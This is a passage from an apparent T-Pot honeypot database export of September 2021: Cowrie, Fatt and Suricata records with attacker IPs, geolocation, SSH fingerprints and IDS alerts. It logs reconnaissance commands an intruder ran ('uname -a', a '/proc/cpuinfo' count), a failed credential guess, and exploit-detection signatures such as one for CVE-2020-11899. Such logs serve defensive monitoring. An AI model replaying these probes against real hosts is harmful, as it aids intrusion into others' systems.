"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35356	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:32.5329+03	2021-09-20 15:15:03.15669+03	{"_id": "lgYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:32.532900Z", "@timestamp": "2021-09-20T12:08:32.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35357	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:32.533437+03	2021-09-20 15:15:03.157689+03	{"_id": "lwYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:32.533437Z", "@timestamp": "2021-09-20T12:08:32.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35358	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:31.969762+03	2021-09-20 15:15:03.15969+03	{"_id": "mgYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:31.969762Z", "@timestamp": "2021-09-20T12:08:31.969Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35359	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:32.957928+03	2021-09-20 15:15:03.160689+03	{"_id": "pAYbA3wBvYTbRNuEnFtp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:32.957928Z", "@timestamp": "2021-09-20T12:08:32.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35360	96.78.175.36	109.199.241.180	Fatt	2021-09-20 15:08:44.468895+03	2021-09-20 15:15:03.162689+03	{"_id": "8AYbA3wBvYTbRNuEyVuR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49798, "dest_port": 22, "timestamp": "2021-09-20T12:08:44.468895", "@timestamp": "2021-09-20T12:08:44.468Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
35361	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:08:45.311731+03	2021-09-20 15:15:03.163689+03	{"_id": "8QYbA3wBvYTbRNuEy1tS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [sometimes/sometimes] failed", "session": "fc9aa3e75f3f", "@version": "1", "password": "sometimes", "username": "sometimes", "timestamp": "2021-09-20T12:08:45.311731Z", "@timestamp": "2021-09-20T12:08:45.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
35362	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:08:46.499743+03	2021-09-20 15:15:03.16469+03	{"_id": "8gYbA3wBvYTbRNuEz1s7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fc9aa3e75f3f", "@version": "1", "duration": 2.2178590297698975, "timestamp": "2021-09-20T12:08:46.499743Z", "@timestamp": "2021-09-20T12:08:46.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
35363	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:46.928611+03	2021-09-20 15:15:03.165689+03	{"_id": "DQYbA3wBvYTbRNuE1FxH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.928611+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 157}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0002", "flow_id": 2173156711082851, "payload": "ATBu+AAIAAIAAAABAA4AAQABKNeNKuj0CO/3CQADAAwH6PQIAAAAAAAAAAAAJwARAA9ERVNLVE9QLTBWUUQ2MUIAEAAOAAABNwAITVNGVCA1LjAABgAIABEAFwAYACc=", "@version": "1", "in_iface": "enp5s0", "src_port": 546, "app_proto": "failed", "dest_port": 547, "timestamp": "2021-09-20T12:08:46.928611Z", "@timestamp": "2021-09-20T12:08:46.928Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".0n...............(..*.......................'....DESKTOP-0VQD61B.......7..MSFT 5.0...........'"}}	1	\N	\N	alert	\N	\N
35364	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:46.946071+03	2021-09-20 15:15:03.167689+03	{"_id": "BQYbA3wBvYTbRNuE1FxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:46.946071Z", "@timestamp": "2021-09-20T12:08:46.946Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35365	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:46.946716+03	2021-09-20 15:15:03.168689+03	{"_id": "CgYbA3wBvYTbRNuE1FxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 270}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:46.946716Z", "@timestamp": "2021-09-20T12:08:46.946Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35366	203.176.71.44	109.199.241.180	Suricata	2021-09-20 15:08:47.694393+03	2021-09-20 15:15:03.169689+03	{"_id": "DwYbA3wBvYTbRNuE1FxH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:08:47.055748+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1999438168971716, "payload": "AAADzAYUUbJVxWBQALii1jQ8DOrnKwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48835, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:08:47.694393Z", "@timestamp": "2021-09-20T12:08:47.694Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Q.U.`P....4<...+...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35367	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:46.947537+03	2021-09-20 15:15:03.170689+03	{"_id": "FAYbA3wBvYTbRNuE1FxH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:46.947537Z", "@timestamp": "2021-09-20T12:08:46.947Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35368	176.60.208.43	109.199.241.180	Fatt	2021-09-20 15:08:47.209906+03	2021-09-20 15:15:03.171689+03	{"_id": "FgYbA3wBvYTbRNuE1VxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59482, "dest_port": 22, "timestamp": "2021-09-20T12:08:47.209906", "@timestamp": "2021-09-20T12:08:47.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	BY
35369	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:08:48.491243+03	2021-09-20 15:15:03.173732+03	{"_id": "IwYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:48.265960+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1295540273811176, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 45070, "dest_port": 3389, "timestamp": "2021-09-20T12:08:48.491243Z", "@timestamp": "2021-09-20T12:08:48.491Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35370	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:08:47.950568+03	2021-09-20 15:15:03.174691+03	{"_id": "JgYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:47.950568Z", "@timestamp": "2021-09-20T12:08:47.950Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35398	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:35.411329+03	2021-09-20 15:15:03.209689+03	{"_id": "tQYbA3wBvYTbRNuEpFs-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:35.411329Z", "@timestamp": "2021-09-20T12:08:35.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35371	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:08:48.338247+03	2021-09-20 15:15:03.17572+03	{"_id": "LAYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:48.265960+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1295540273811176, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 45070, "dest_port": 3389, "timestamp": "2021-09-20T12:08:48.338247Z", "@timestamp": "2021-09-20T12:08:48.338Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 